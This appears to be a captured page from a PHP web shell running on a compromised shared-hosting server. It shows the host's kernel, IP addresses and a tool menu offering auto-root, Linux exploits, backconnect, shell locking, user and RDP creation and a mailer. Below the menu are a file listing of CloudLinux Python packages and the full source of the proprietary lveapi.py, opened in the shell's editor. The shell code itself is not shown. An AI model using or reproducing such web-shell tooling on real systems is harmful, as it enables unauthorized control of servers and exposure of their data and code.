Linux premium134.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
LiteSpeed
: 162.0.232.104 | : 216.73.216.11
Cant Read [ /etc/named.conf ]
?8.1.34
mfbsrygq
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
cloudlinux /
venv /
lib /
python3.11 /
site-packages /
[ HOME SHELL ]
Name
Size
Permission
Action
?;
GitPython-3.1.32.dist-info
[ DIR ]
drwxr-xr-x
?;
Jinja2-3.0.3.dist-info
[ DIR ]
drwxr-xr-x
?;
Mako-1.2.4.dist-info
[ DIR ]
drwxr-xr-x
?;
MarkupSafe-2.1.3.dist-info
[ DIR ]
drwxr-xr-x
?;
PyJWT-2.8.0.dist-info
[ DIR ]
drwxr-xr-x
?;
PyMySQL-1.1.0.dist-info
[ DIR ]
drwxr-xr-x
?;
PyVirtualDisplay-3.0.dist-info
[ DIR ]
drwxr-xr-x
?;
PyYAML-6.0.1.dist-info
[ DIR ]
drwxr-xr-x
?;
__pycache__
[ DIR ]
drwxr-xr-x
?;
_distutils_hack
[ DIR ]
drwxr-xr-x
?;
_pytest
[ DIR ]
drwxr-xr-x
?;
_yaml
[ DIR ]
drwxr-xr-x
?;
aiohttp
[ DIR ]
drwxr-xr-x
?;
aiohttp-3.9.2.dist-info
[ DIR ]
drwxr-xr-x
?;
aiohttp_jinja2
[ DIR ]
drwxr-xr-x
?;
aiohttp_jinja2-1.5.dist-info
[ DIR ]
drwxr-xr-x
?;
aiohttp_security
[ DIR ]
drwxr-xr-x
?;
aiohttp_security-0.4.0.dist-in...
[ DIR ]
drwxr-xr-x
?;
aiohttp_session
[ DIR ]
drwxr-xr-x
?;
aiohttp_session-2.9.0.dist-inf...
[ DIR ]
drwxr-xr-x
?;
aiosignal
[ DIR ]
drwxr-xr-x
?;
aiosignal-1.3.1.dist-info
[ DIR ]
drwxr-xr-x
?;
alembic
[ DIR ]
drwxr-xr-x
?;
alembic-1.11.1.dist-info
[ DIR ]
drwxr-xr-x
?;
annotated_types
[ DIR ]
drwxr-xr-x
?;
annotated_types-0.6.0.dist-inf...
[ DIR ]
drwxr-xr-x
?;
astroid
[ DIR ]
drwxr-xr-x
?;
astroid-2.15.6.dist-info
[ DIR ]
drwxr-xr-x
?;
attr
[ DIR ]
drwxr-xr-x
?;
attrs
[ DIR ]
drwxr-xr-x
?;
attrs-23.1.0.dist-info
[ DIR ]
drwxr-xr-x
?;
backports
[ DIR ]
drwxr-xr-x
?;
certifi
[ DIR ]
drwxr-xr-x
?;
certifi-2023.7.22.dist-info
[ DIR ]
drwxr-xr-x
?;
cffi
[ DIR ]
drwxr-xr-x
?;
cffi-1.15.1.dist-info
[ DIR ]
drwxr-xr-x
?;
chardet
[ DIR ]
drwxr-xr-x
?;
chardet-5.2.0.dist-info
[ DIR ]
drwxr-xr-x
?;
charset_normalizer
[ DIR ]
drwxr-xr-x
?;
charset_normalizer-2.1.1.dist-...
[ DIR ]
drwxr-xr-x
?;
cl_dom_collector
[ DIR ]
drwxr-xr-x
?;
cl_website_collector
[ DIR ]
drwxr-xr-x
?;
clcagefslib
[ DIR ]
drwxr-xr-x
?;
clcommon
[ DIR ]
drwxr-xr-x
?;
clconfig
[ DIR ]
drwxr-xr-x
?;
clconfigure
[ DIR ]
drwxr-xr-x
?;
cldashboard
[ DIR ]
drwxr-xr-x
?;
clevents
[ DIR ]
drwxr-xr-x
?;
clflags
[ DIR ]
drwxr-xr-x
?;
cllicense
[ DIR ]
drwxr-xr-x
?;
cllimits
[ DIR ]
drwxr-xr-x
?;
cllimits_validator
[ DIR ]
drwxr-xr-x
?;
cllimitslib_v2
[ DIR ]
drwxr-xr-x
?;
cllvectl
[ DIR ]
drwxr-xr-x
?;
clpackages
[ DIR ]
drwxr-xr-x
?;
clquota
[ DIR ]
drwxr-xr-x
?;
clselect
[ DIR ]
drwxr-xr-x
?;
clselector
[ DIR ]
drwxr-xr-x
?;
clsentry
[ DIR ]
drwxr-xr-x
?;
clsummary
[ DIR ]
drwxr-xr-x
?;
clveconfig
[ DIR ]
drwxr-xr-x
?;
clwizard
[ DIR ]
drwxr-xr-x
?;
configparser-5.0.2.dist-info
[ DIR ]
drwxr-xr-x
?;
contextlib2
[ DIR ]
drwxr-xr-x
?;
contextlib2-21.6.0.dist-info
[ DIR ]
drwxr-xr-x
?;
coverage
[ DIR ]
drwxr-xr-x
?;
coverage-7.2.7.dist-info
[ DIR ]
drwxr-xr-x
?;
cryptography
[ DIR ]
drwxr-xr-x
?;
cryptography-41.0.2.dist-info
[ DIR ]
drwxr-xr-x
?;
ddt-1.4.4.dist-info
[ DIR ]
drwxr-xr-x
?;
dill
[ DIR ]
drwxr-xr-x
?;
dill-0.3.7.dist-info
[ DIR ]
drwxr-xr-x
?;
distlib
[ DIR ]
drwxr-xr-x
?;
distlib-0.3.8.dist-info
[ DIR ]
drwxr-xr-x
?;
docopt-0.6.2.dist-info
[ DIR ]
drwxr-xr-x
?;
dodgy
[ DIR ]
drwxr-xr-x
?;
dodgy-0.2.1.dist-info
[ DIR ]
drwxr-xr-x
?;
filelock
[ DIR ]
drwxr-xr-x
?;
filelock-3.13.1.dist-info
[ DIR ]
drwxr-xr-x
?;
flake8
[ DIR ]
drwxr-xr-x
?;
flake8-5.0.4.dist-info
[ DIR ]
drwxr-xr-x
?;
flake8_polyfill
[ DIR ]
drwxr-xr-x
?;
flake8_polyfill-1.0.2.dist-inf...
[ DIR ]
drwxr-xr-x
?;
frozenlist
[ DIR ]
drwxr-xr-x
?;
frozenlist-1.4.0.dist-info
[ DIR ]
drwxr-xr-x
?;
future
[ DIR ]
drwxr-xr-x
?;
future-0.18.3.dist-info
[ DIR ]
drwxr-xr-x
?;
git
[ DIR ]
drwxr-xr-x
?;
gitdb
[ DIR ]
drwxr-xr-x
?;
gitdb-4.0.10.dist-info
[ DIR ]
drwxr-xr-x
?;
guppy
[ DIR ]
drwxr-xr-x
?;
guppy3-3.1.3.dist-info
[ DIR ]
drwxr-xr-x
?;
hc_json_rpc_client
[ DIR ]
drwxr-xr-x
?;
hc_json_rpc_client-1.0.1.dist-...
[ DIR ]
drwxr-xr-x
?;
idna
[ DIR ]
drwxr-xr-x
?;
idna-3.4.dist-info
[ DIR ]
drwxr-xr-x
?;
iniconfig
[ DIR ]
drwxr-xr-x
?;
iniconfig-2.0.0.dist-info
[ DIR ]
drwxr-xr-x
?;
isort
[ DIR ]
drwxr-xr-x
?;
isort-5.12.0.dist-info
[ DIR ]
drwxr-xr-x
?;
jinja2
[ DIR ]
drwxr-xr-x
?;
jsonschema
[ DIR ]
drwxr-xr-x
?;
jsonschema-3.2.0.dist-info
[ DIR ]
drwxr-xr-x
?;
jwt
[ DIR ]
drwxr-xr-x
?;
lazy_object_proxy
[ DIR ]
drwxr-xr-x
?;
lazy_object_proxy-1.9.0.dist-i...
[ DIR ]
drwxr-xr-x
?;
libfuturize
[ DIR ]
drwxr-xr-x
?;
libpasteurize
[ DIR ]
drwxr-xr-x
?;
lve_stats-2.0.dist-info
[ DIR ]
drwxr-xr-x
?;
lve_utils
[ DIR ]
drwxr-xr-x
?;
lvemanager
[ DIR ]
drwxr-xr-x
?;
lvestats
[ DIR ]
drwxr-xr-x
?;
lxml
[ DIR ]
drwxr-xr-x
?;
lxml-4.9.2.dist-info
[ DIR ]
drwxr-xr-x
?;
mako
[ DIR ]
drwxr-xr-x
?;
markupsafe
[ DIR ]
drwxr-xr-x
?;
mccabe-0.7.0.dist-info
[ DIR ]
drwxr-xr-x
?;
mock
[ DIR ]
drwxr-xr-x
?;
mock-5.1.0.dist-info
[ DIR ]
drwxr-xr-x
?;
multidict
[ DIR ]
drwxr-xr-x
?;
multidict-6.0.4.dist-info
[ DIR ]
drwxr-xr-x
?;
numpy
[ DIR ]
drwxr-xr-x
?;
numpy-1.25.1.dist-info
[ DIR ]
drwxr-xr-x
?;
numpy.libs
[ DIR ]
drwxr-xr-x
?;
packaging
[ DIR ]
drwxr-xr-x
?;
packaging-23.1.dist-info
[ DIR ]
drwxr-xr-x
?;
past
[ DIR ]
drwxr-xr-x
?;
pep8_naming-0.10.0.dist-info
[ DIR ]
drwxr-xr-x
?;
pip
[ DIR ]
drwxr-xr-x
?;
pip-25.3.dist-info
[ DIR ]
drwxr-xr-x
?;
pkg_resources
[ DIR ]
drwxr-xr-x
?;
platformdirs
[ DIR ]
drwxr-xr-x
?;
platformdirs-3.11.0.dist-info
[ DIR ]
drwxr-xr-x
?;
pluggy
[ DIR ]
drwxr-xr-x
?;
pluggy-1.2.0.dist-info
[ DIR ]
drwxr-xr-x
?;
prettytable
[ DIR ]
drwxr-xr-x
?;
prettytable-3.8.0.dist-info
[ DIR ]
drwxr-xr-x
?;
prometheus_client
[ DIR ]
drwxr-xr-x
?;
prometheus_client-0.8.0.dist-i...
[ DIR ]
drwxr-xr-x
?;
prospector
[ DIR ]
drwxr-xr-x
?;
prospector-1.10.2.dist-info
[ DIR ]
drwxr-xr-x
?;
psutil
[ DIR ]
drwxr-xr-x
?;
psutil-5.9.5.dist-info
[ DIR ]
drwxr-xr-x
?;
psycopg2
[ DIR ]
drwxr-xr-x
?;
psycopg2_binary-2.9.6.dist-inf...
[ DIR ]
drwxr-xr-x
?;
psycopg2_binary.libs
[ DIR ]
drwxr-xr-x
?;
pycodestyle-2.9.1.dist-info
[ DIR ]
drwxr-xr-x
?;
pycparser
[ DIR ]
drwxr-xr-x
?;
pycparser-2.21.dist-info
[ DIR ]
drwxr-xr-x
?;
pydantic
[ DIR ]
drwxr-xr-x
?;
pydantic-2.4.2.dist-info
[ DIR ]
drwxr-xr-x
?;
pydantic_core
[ DIR ]
drwxr-xr-x
?;
pydantic_core-2.10.1.dist-info
[ DIR ]
drwxr-xr-x
?;
pydocstyle
[ DIR ]
drwxr-xr-x
?;
pydocstyle-6.3.0.dist-info
[ DIR ]
drwxr-xr-x
?;
pyfakefs
[ DIR ]
drwxr-xr-x
?;
pyfakefs-5.10.2.dist-info
[ DIR ]
drwxr-xr-x
?;
pyflakes
[ DIR ]
drwxr-xr-x
?;
pyflakes-2.5.0.dist-info
[ DIR ]
drwxr-xr-x
?;
pylint
[ DIR ]
drwxr-xr-x
?;
pylint-2.17.4.dist-info
[ DIR ]
drwxr-xr-x
?;
pylint_celery
[ DIR ]
drwxr-xr-x
?;
pylint_celery-0.3.dist-info
[ DIR ]
drwxr-xr-x
?;
pylint_django
[ DIR ]
drwxr-xr-x
?;
pylint_django-2.5.3.dist-info
[ DIR ]
drwxr-xr-x
?;
pylint_flask
[ DIR ]
drwxr-xr-x
?;
pylint_flask-0.6.dist-info
[ DIR ]
drwxr-xr-x
?;
pylint_plugin_utils
[ DIR ]
drwxr-xr-x
?;
pylint_plugin_utils-0.7.dist-i...
[ DIR ]
drwxr-xr-x
?;
pylve-2.1-py3.11.egg-info
[ DIR ]
drwxr-xr-x
?;
pymysql
[ DIR ]
drwxr-xr-x
?;
pyparsing
[ DIR ]
drwxr-xr-x
?;
pyparsing-3.0.9.dist-info
[ DIR ]
drwxr-xr-x
?;
pyrsistent
[ DIR ]
drwxr-xr-x
?;
pyrsistent-0.19.3.dist-info
[ DIR ]
drwxr-xr-x
?;
pytest
[ DIR ]
drwxr-xr-x
?;
pytest-7.4.0.dist-info
[ DIR ]
drwxr-xr-x
?;
pytest_check
[ DIR ]
drwxr-xr-x
?;
pytest_check-2.5.3.dist-info
[ DIR ]
drwxr-xr-x
?;
pytest_snapshot
[ DIR ]
drwxr-xr-x
?;
pytest_snapshot-0.9.0.dist-inf...
[ DIR ]
drwxr-xr-x
?;
pytest_subprocess
[ DIR ]
drwxr-xr-x
?;
pytest_subprocess-1.5.3.dist-i...
[ DIR ]
drwxr-xr-x
?;
pytest_tap
[ DIR ]
drwxr-xr-x
?;
pytest_tap-3.5.dist-info
[ DIR ]
drwxr-xr-x
?;
python_pam-1.8.4.dist-info
[ DIR ]
drwxr-xr-x
?;
pyvirtualdisplay
[ DIR ]
drwxr-xr-x
?;
raven
[ DIR ]
drwxr-xr-x
?;
raven-6.10.0.dist-info
[ DIR ]
drwxr-xr-x
?;
requests
[ DIR ]
drwxr-xr-x
?;
requests-2.31.0.dist-info
[ DIR ]
drwxr-xr-x
?;
requirements_detector
[ DIR ]
drwxr-xr-x
?;
requirements_detector-1.2.2.di...
[ DIR ]
drwxr-xr-x
?;
schema-0.7.5.dist-info
[ DIR ]
drwxr-xr-x
?;
semver
[ DIR ]
drwxr-xr-x
?;
semver-3.0.1.dist-info
[ DIR ]
drwxr-xr-x
?;
sentry_sdk
[ DIR ]
drwxr-xr-x
?;
sentry_sdk-1.29.2.dist-info
[ DIR ]
drwxr-xr-x
?;
setoptconf
[ DIR ]
drwxr-xr-x
?;
setoptconf_tmp-0.3.1.dist-info
[ DIR ]
drwxr-xr-x
?;
setuptools
[ DIR ]
drwxr-xr-x
?;
setuptools-80.9.0.dist-info
[ DIR ]
drwxr-xr-x
?;
simplejson
[ DIR ]
drwxr-xr-x
?;
simplejson-3.19.1.dist-info
[ DIR ]
drwxr-xr-x
?;
six-1.16.0.dist-info
[ DIR ]
drwxr-xr-x
?;
smmap
[ DIR ]
drwxr-xr-x
?;
smmap-5.0.0.dist-info
[ DIR ]
drwxr-xr-x
?;
snowballstemmer
[ DIR ]
drwxr-xr-x
?;
snowballstemmer-2.2.0.dist-inf...
[ DIR ]
drwxr-xr-x
?;
sqlalchemy
[ DIR ]
drwxr-xr-x
?;
sqlalchemy-1.3.24.dist-info
[ DIR ]
drwxr-xr-x
?;
ssa
[ DIR ]
drwxr-xr-x
?;
svgwrite
[ DIR ]
drwxr-xr-x
?;
svgwrite-1.4.3.dist-info
[ DIR ]
drwxr-xr-x
?;
tap
[ DIR ]
drwxr-xr-x
?;
tap_py-3.2.1.dist-info
[ DIR ]
drwxr-xr-x
?;
testfixtures
[ DIR ]
drwxr-xr-x
?;
testfixtures-7.1.0.dist-info
[ DIR ]
drwxr-xr-x
?;
toml
[ DIR ]
drwxr-xr-x
?;
toml-0.10.2.dist-info
[ DIR ]
drwxr-xr-x
?;
tomlkit
[ DIR ]
drwxr-xr-x
?;
tomlkit-0.11.8.dist-info
[ DIR ]
drwxr-xr-x
?;
typing_extensions-4.7.1.dist-i...
[ DIR ]
drwxr-xr-x
?;
typing_extensions-4.8.0.dist-i...
[ DIR ]
drwxr-xr-x
?;
unshare-0.22.dist-info
[ DIR ]
drwxr-xr-x
?;
urllib3
[ DIR ]
drwxr-xr-x
?;
urllib3-2.0.4.dist-info
[ DIR ]
drwxr-xr-x
?;
vendors_api
[ DIR ]
drwxr-xr-x
?;
virtualenv
[ DIR ]
drwxr-xr-x
?;
virtualenv-20.21.1.dist-info
[ DIR ]
drwxr-xr-x
?;
wcwidth
[ DIR ]
drwxr-xr-x
?;
wcwidth-0.2.6.dist-info
[ DIR ]
drwxr-xr-x
?;
websiteisolation
[ DIR ]
drwxr-xr-x
?;
wmt
[ DIR ]
drwxr-xr-x
?;
wrapt
[ DIR ]
drwxr-xr-x
?;
wrapt-1.15.0.dist-info
[ DIR ]
drwxr-xr-x
?;
yaml
[ DIR ]
drwxr-xr-x
?;
yarl
[ DIR ]
drwxr-xr-x
?;
yarl-1.9.2.dist-info
[ DIR ]
drwxr-xr-x
_cffi_backend.cpython-311-x86_...
267.63
KB
-rwxr-xr-x
_lvdmap.cpython-311-x86_64-lin...
18.09
KB
-rwxr-xr-x
_pyrsistent_version.py
23
B
-rw-r--r--
cl_proc_hidepid.py
4.53
KB
-rw-r--r--
clcontrollib.py
51.73
KB
-rw-r--r--
cldetectlib.py
18.4
KB
-rw-r--r--
cldiaglib.py
48.08
KB
-rw-r--r--
clhooklib.py
1.27
KB
-rw-r--r--
cli_utils.py
1.66
KB
-rw-r--r--
cllicenselib.py
9.1
KB
-rw-r--r--
clsetuplib.py
4.35
KB
-rw-r--r--
clsudo.py
14.42
KB
-rw-r--r--
configparser.py
1.51
KB
-rw-r--r--
ddt.py
12.43
KB
-rw-r--r--
distutils-precedence.pth
151
B
-rw-r--r--
docopt.py
19.48
KB
-rw-r--r--
hc_lve_profiler.py
6.2
KB
-rw-------
lveapi.py
17.02
KB
-rw-r--r--
lvectllib.py
112.85
KB
-rw-r--r--
lvestat.py
6.83
KB
-rw-r--r--
mccabe.py
10.4
KB
-rw-r--r--
pam.py
7.38
KB
-rw-r--r--
pep8ext_naming.py
18.61
KB
-rw-r--r--
py.py
263
B
-rw-r--r--
pycodestyle.py
101.08
KB
-rw-r--r--
pylve.cpython-311-x86_64-linux...
25.53
KB
-rwxr-xr-x
remove_ubc.py
5.73
KB
-rwxr-xr-x
schema.py
29.51
KB
-rw-r--r--
secureio.py
19.09
KB
-rw-r--r--
simple_rpm.so
11.29
KB
-rwxr-xr-x
six.py
33.74
KB
-rw-r--r--
typing_extensions.py
108.48
KB
-rw-r--r--
unshare.cpython-311-x86_64-lin...
8.17
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : lveapi.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT import os import syslog import pwd from typing import Optional # NOQA from clcommon.clproc import ProcLve from clcommon import cpapi, ClPwd from clcommon.cpapi.cpapiexceptions import NotSupported from clveconfig import ve_config from lve_utils.pylve_wrapper import PyLveError, PyLve # noqa: F401 — re-exported for callers from websiteisolation import config as _ws_config from websiteisolation import id_registry as _ws_id_registry from websiteisolation.exceptions import LvdError LVP_XML_TAG_NAME = "reseller" LVE_NO_UBC = 1 << 1 LVE_NO_MAXENTER = 1 << 2 class NameMapError(Exception): pass class NameMapConfigError(NameMapError): pass class NameMapNotInitialized(NameMapError): pass class NameMap: """ Container for backend storing resellers_name<=>resellers_id map As backend store use ve.cfg Usage: >>> name_map = NameMap() >>> name_map.link_xml_node() >>> name_map.id_list() [1001] """ def __init__(self, xml_tag_name=LVP_XML_TAG_NAME): self._xml_tag_name = xml_tag_name self._xml_node = None # Reseller name to id map (list of corteges) self._reseller_id_name_map = None def get_id(self, name): for name_, id_ in self.load_from_node(): if name_ == name: return id_ def get_name(self, id_): for name_, _id in self.load_from_node(): if id_ == _id: return name_ def id_list(self): return [id_ for _, id_ in self.load_from_node()] def link_xml_node(self, xml_node=None, use_cache=True): """ Initialize NameMap. If xml_node is none, config will be loaded automatically :param use_cache: Bool whether bypass ve.cfg xml cache :param xml_node: !! DEPRECATED PARAM !! this param is left only for compatibility with our old code """ if xml_node is None: # New mode, Load reseller_id, reseller_name pairs from ve.cfg to dictionary self._xml_node = None self._load_resellers_map_from_ve_cfg(use_cache) else: # For compatibility with our old code self._xml_node = xml_node self._reseller_id_name_map = None def _load_resellers_map_from_ve_cfg(self, use_cache): """ Fills self._reseller_id_name_map from ve.cfg file :return: """ self._reseller_id_name_map = [] ve_cfg, xml_node = self._try_get_xml_node(use_cache=use_cache) for el_ in xml_node: name = el_.getAttribute('user') id_ = int(el_.getAttribute('id')) if name and id_ and id_ not in self._reseller_id_name_map: self._reseller_id_name_map.append((id_, name)) # Force delete XML object to avoid high memory load del xml_node del ve_cfg def _try_get_xml_node(self, use_cache=True): try: ve_cfg, xml_node = ve_config.get_xml_config(use_cache=use_cache) except ve_config.BadVeConfigException as e: self._reseller_id_name_map = None raise NameMapConfigError("Error happened while loading data from ve.cfg") from e return ve_cfg, xml_node.getElementsByTagName(self._xml_tag_name) def load_from_node(self): """ Obtain data from xml node as (name, id_) list """ if self._xml_node is None and self._reseller_id_name_map is None: raise NameMapNotInitialized('Name map is not initialized. ' 'Use obj.link_xml_node() to get data from config') if self._xml_node: # For compatibility with our old code for el_ in self._xml_node.getElementsByTagName(self._xml_tag_name): name = el_.getAttribute('user') id_ = int(el_.getAttribute('id')) if name and id_: yield name, id_ if self._reseller_id_name_map: # New mode, use resellers map for id_, name in self._reseller_id_name_map: yield name, id_ class LvpMap: """ Container for storing information about lve:lvp mapping In which reseller container stored lve """ def __init__(self): self.name_map = NameMap() self._id_name_map = {} self._name_id_map = {} self._reseller_id_map_panel = None self._pwd = ClPwd() def _add_map(self, name, id_): self._id_name_map[id_] = name self._name_id_map[name] = id_ def pw_uid(self, name, default=None): try: return self._pwd.get_pw_by_name(name).pw_uid except ClPwd.NoSuchUserException: return default def _get_panel_reseller_id(self, reseller): # type: (str) -> Optional[int] uid = self.pw_uid(reseller) if uid is not None: return uid # in case when we cannot find reseller in passwd file # let's ask control panel for reseller's id if self._reseller_id_map_panel is None: self._reseller_id_map_panel = cpapi.get_reseller_id_pairs() return self._reseller_id_map_panel.get(reseller) def get_reseller_id(self, name): # type: (str) -> Optional[int] """ Convert reseller name to an LVE id. It supports resellers without a system account (for Plesk compatibility). """ uid = self.name_map.get_id(name) or self._name_id_map.get(name) if uid is not None: return uid try: uid = self._get_panel_reseller_id(name) except NotSupported: uid = None if uid is not None: self._add_map(name, uid) return uid def get_reseller_name(self, id_): """ Convert reseller id to reseller name It support resellers without system account (for Plesk compatibilyty) """ # add attribute fo in memory cache support name = self.name_map.get_name(id_) or self._id_name_map.get(id_) if name is not None: return name try: name = pwd.getpwuid(id_).pw_name if cpapi.is_reseller(name): self._add_map(name, id_) else: name = None except KeyError: name = None return name def lve_lvp_pairs(self): """ This method loops over all user:reseller pairs in control panel and returns appropriate lve_id:lvp_id pairs. THIS METHOD WON'T CHECK IF 'RESELLER LIMITS' IS ENABLED IN ve.cfg """ resellers = set(cpapi.resellers()) reseller_uids = {} for reseller in resellers: try: reseller_uids[reseller] = self.get_reseller_id(reseller) except NotSupported: syslog.syslog( syslog.LOG_WARNING, f"Reseller {reseller} still exists in control panel, " "but absent in /etc/passwd file") for cplogin, reseller in cpapi.cpinfo(keyls=('cplogin', 'reseller')): lve_id = self.pw_uid(cplogin) # for some reasons (process of destroying user died # or admin called 'pure' userdel), user may still exist in control panel # but absent in /etc/passwd file; we can do nothing with that, # so just skip and write a warning to syslog if lve_id is None: syslog.syslog( syslog.LOG_WARNING, f"user {cplogin} still exists in control panel, " "but absent in /etc/passwd file") continue lvp_id = reseller_uids.get(reseller, 0) yield lve_id, lvp_id @staticmethod def resellers(): for reseller_name in cpapi.resellers(): yield reseller_name @staticmethod def reseller_uids(name): """ Obtain from control panel resellers uids """ uids = [] reseller_users = cpapi.reseller_users(name) for user in reseller_users: try: id_ = pwd.getpwnam(user).pw_uid uids.append(id_) except KeyError: syslog.syslog( syslog.LOG_WARNING, f"user {user} still exists in control panel, " "but absent in /etc/passwd file") return uids def lvp_lve_id_list(self, lvp_id): reseller_name = self.get_reseller_name(lvp_id) return self.reseller_uids(reseller_name) class Lve: def __init__(self, proc=None, py=None, map=None): self.proc = proc or ProcLve() self.py = py or PyLve() self.map = map or LvpMap() def lve_id_lvp_id_pairs(self): """ Obtain {lve id}:{lvp id} pairs iterator based on ve.cfg config (detect enabled resellers containers) This method (unlike LvpMap.lve_lvp_pairs) will check if reseller is enabled in ve.cfg and return lvp_id=0 for users of reseller with disabled reseller limits """ enabled_lvp_id = set(self.map.name_map.id_list()) for lve_id, lvp_id in self.map.lve_lvp_pairs(): if lvp_id in enabled_lvp_id: # load map for enabled resellers only yield lve_id, lvp_id else: yield lve_id, 0 def lve2lvp(self, lve_id): """ Obtain lvp id based on ve.cfg config (detect enabled resellers containers) """ for lve_id_, lvp_id_ in self.lve_id_lvp_id_pairs(): if lve_id == lve_id_: return lvp_id_ return 0 def lve_destroy(self, lve_id, *args, **kwargs): """ safe destroy lve container with preserving lvp mapping """ if os.path.exists(self.proc.proc_lve_map()): lvp_id = self.proc.map().get(lve_id, 0) else: lvp_id = 0 self.py.lve_destroy(lve_id, *args, **kwargs) if lvp_id != 0: try: pwd.getpwuid(lve_id) self.py.lve_lvp_map(lvp_id, lve_id) except KeyError: pass def _map_domain_lves(self, lve_id, proc_map): """Place every domain LVE that belongs to *lve_id* under its user LVP. Uses lve_lvp_move for domain LVEs that already exist in the kernel, and falls back to lve_lvp_map for those that do not yet exist (so the kernel will place them under the correct LVP when lve_setup creates them later). *proc_map* is an lve_id→lvp_id dict (from /proc/lve/map) used to skip mappings that are already correct. Updated in-place so callers see the new state. """ config = _ws_config.load_config(lve_id) for d in config.domains: if not d.name: continue try: docroot = _ws_config.resolve_docroot(d.name) except LvdError as e: syslog.syslog(syslog.LOG_WARNING, f"failed to resolve docroot for domain '{d.name}': {e}") continue domain_id = _ws_id_registry.assign_domain_id(lve_id, docroot) if proc_map.get(domain_id) == lve_id: continue if domain_id in proc_map: # Domain LVE exists in the kernel — move it. self.py.lve_lvp_move(lve_id, domain_id) else: # Domain LVE does not exist yet — pre-register mapping. self.py.lve_lvp_map(lve_id, domain_id) proc_map[domain_id] = lve_id def apply_domain_lve_limits(self, lve_id): """Apply per-domain limits from domains.json to each domain LVE. Must be called after lve_set_default() resets all LVEs inside the user LVP to the user's defaults. Each domain LVE is set to its stored limits, or all-zeros (unlimited) when unconfigured. """ config = _ws_config.load_config(lve_id) for d in config.domains: if not d.name: continue try: docroot = _ws_config.resolve_docroot(d.name) except LvdError as e: syslog.syslog(syslog.LOG_WARNING, f"failed to resolve docroot for domain '{d.name}': {e}") continue domain_id = _ws_id_registry.assign_domain_id(lve_id, docroot) settings = self.py.liblve_settings() limits = d.limits.to_dict() if 'cpu' in limits: settings.ls_cpu = int(limits['cpu']) if 'pmem' in limits: pmem_bytes = int(limits['pmem']) settings.ls_memory_phy = pmem_bytes // 4096 if pmem_bytes else 0 if 'io' in limits: settings.ls_io = int(limits['io']) if 'nproc' in limits: settings.ls_nproc = int(limits['nproc']) if 'iops' in limits: settings.ls_iops = int(limits['iops']) self.py.lve_setup( domain_id, settings, err_msg=f'Can`t setup domain LVE {domain_id}; error code {{code}}', ) def _sync_map(self): """ Load lve_id:lvp_id map to kmod-lve. For users with per-domain isolation configured, builds a nested LVP hierarchy instead of a flat reseller mapping: lvp<0> [lvp<reseller_id>] ← reseller LVP (if enabled) lvp<user_id> ← user-level LVP with isolation lve<user_id> ← user LVE lve<domain_id> ... ← domain LVEs lvp<0> [lvp<reseller_id>] ← reseller LVP (without isolation) lve<user_id> ← user LVE (flat, existing behaviour) """ # load mapping information from kernel (/proc/lve/map) proc_map_dict = self.proc.map() # loop over user_id:reseller_id pairs # lve_id_lvp_id_pairs includes all control panel users # and checks for enabled resellers in ve.cfg # so user of reseller without reseller limits # will be listed in response like 'tuple(user_id, 0)' if self.py.domains_supported(): isolated_users = set(_ws_config.find_all_lve_ids_with_config()) else: isolated_users = set() for lve_id, lvp_id in self.lve_id_lvp_id_pairs(): if lve_id in isolated_users: # User has per-domain isolation: build nested LVP hierarchy. # Ensure the parent (reseller) LVP exists first. if lvp_id != 0 and not self.proc.exist_lvp(lvp_id=lvp_id): self.py.lve_lvp_create(lvp_id) # Create user LVP nested under the reseller (or at root # when there is no reseller). lve_apply_all() already # creates the nested LVP for reseller users; this handles # the non-reseller case and the standalone sync-map call. if not self.proc.exist_lvp(lvp_id=lve_id): if lvp_id: self.py.lve_lvp_create2(lve_id, lvp_id) else: self.py.lve_lvp_create(lve_id) # Move the user LVE under the user LVP (both share lve_id). if proc_map_dict.get(lve_id, 0) != lve_id: self.py.lve_lvp_move(lve_id, lve_id) proc_map_dict[lve_id] = lve_id self._map_domain_lves(lve_id, proc_map=proc_map_dict) else: # Standard behaviour: move user LVE under reseller/root LVP. if proc_map_dict.get(lve_id, 0) != lvp_id: # change map if needed only if not self.proc.exist_lvp(lvp_id=lvp_id): self.py.lve_lvp_create(lvp_id) self.py.lve_lvp_move(lvp_id, lve_id) proc_map_dict[lve_id] = lvp_id def sync_map(self): """ wrapped _sync_map function for prevent error if some cpapi not supported """ try: self._sync_map() except NotSupported: pass def is_panel_supported(self): """ Check if current panel supported for reseller's limits; :rtype: bool """ try: return cpapi.is_reseller_limits_supported() except NotSupported: return False def reseller_limit_supported(self): """ Check present all needed (kmod-lve, liblve, /proc/lve, panel) for manipulate resellers limits """ return all((self.py.resellers_supported(), self.proc.resellers_supported(), self.is_panel_supported())) def is_lve10(self): """ Check present all needed (kmod-lve, liblve, /proc/lve) for manipulate resellers limits """ return all((self.py.resellers_supported(), self.proc.resellers_supported()))
Close